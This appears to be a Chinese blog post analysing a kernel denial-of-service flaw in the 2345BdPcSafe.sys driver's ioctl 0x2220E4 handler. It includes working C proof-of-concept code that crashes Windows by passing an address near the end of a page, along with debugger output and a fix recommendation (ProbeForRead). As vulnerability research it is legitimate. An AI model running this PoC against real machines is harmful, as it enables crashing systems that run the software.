2345内核拒绝服务漏洞(2)

漏洞概述

2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中,对输入数据校验不严格,可构造数据中包含非法地址导致访问违例,然后bsod拒绝服务。

漏洞分析

IRP_MJ_DEVICE_CONTROL处理函数中,对0x2220E4接口进行处理时如下所示:

img

InputBuf是应用层传入的输入缓存内容,校验InputBuf是否为空,长度是否超过8字节,然后通过MmIsAddressValid验证地址是否合法,合法后通过偏移16访问该内存内容是否等于标记li7p

问题就出在这里,MmIsAddressValid并不能验证一个内存某范围内是否可读可写,仅仅只能验证该地址读写是否会触发一个页错误。

所以我们就可以构造一个可通过MmIsAddressValid验证并且地址16偏移不可读的内存作为输入,造成bsod。

看下面的poc代码,通过VirtualAlloc分配一个页大小的内存,可读可写,然后计算页地址尾地址-4作为输入缓存的ptr,这样MmIsAddressValid可通过校验,再内核读取ptr+16偏移时地址已经超过该页内存范围,不可访问,导致bsod。

int poc()
{
	
	DWORD BytesReturned = 0;

	HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
	if (h == INVALID_HANDLE_VALUE) {
		return 1;
	}
    //过白名单检查
	if (!BypassChk(h)) {
		return 1;
	}
	
	//BSOD
	DWORD ctlcode = 0x2220E4;
#pragma pack(push,1)
	struct _ioctl_buf_in
	{
		 __int64 ptr;
	};
#pragma pack(pop)
	_ioctl_buf_in buff = { 0 };
    
    //分配一个页,可读可写,将该页地址尾地址-4作为输入缓存的ptr
    //然后读取+16偏移时地址已经越过该页内存范围,不可访问,bsod
	PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
	memset(ptr, 0x41, 0x1000);//
	buff.ptr = (__int64)ptr + 0x1000 - 0x4;

	if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, sizeof(_ioctl_buf_in), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}
	return 0;
}

看看内存更加清晰,buff地址是003efea0buff.ptr的值是00030ffc,可以清楚看到00030ffc+16偏移处肯定是不可读的了。

0: kd:x86> dd 003efe3c 
00000000`003efe3c  003efe68 75db3237 00000030 002220e4
00000000`003efe4c  003efea0 00000008 003efea0 00000008
0: kd:x86> dd 003efea0 
00000000`003efea0  00030ffc 00000000 01234808 003efef8
0: kd:x86> dd 00030ffc 
00000000`00030ffc  41414141 ???????? ???????? ????????
00000000`0003100c  ???????? ???????? ???????? ????????

结语

这个漏洞算是前一个的延申,依然是应用层传入内容中包括内存地址,也加入了内存合法性验证代码,但是却没什么用,并没有验证到要访问的内存处的合法性,这个疏漏导致了漏洞的产生。

更好的验证内存合法性的函数应该使用ProbeForRead(p, len, x),可以验证一个范围内内存的合法性,更加严谨,能更好的避免漏洞的产生。

稍微总结一下,应用层传入内容结构越复杂,越容易出现问题。这个漏洞出现的位置,本来应该是2345接口协议验证的代码,是为了增加安全性的,却不想成为了安全性问题的原因。

该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待!

参考

  1. 如何验证一个地址可否使用—— MmIsAddressValid函数分析
  2. https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-mmisaddressvalid
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值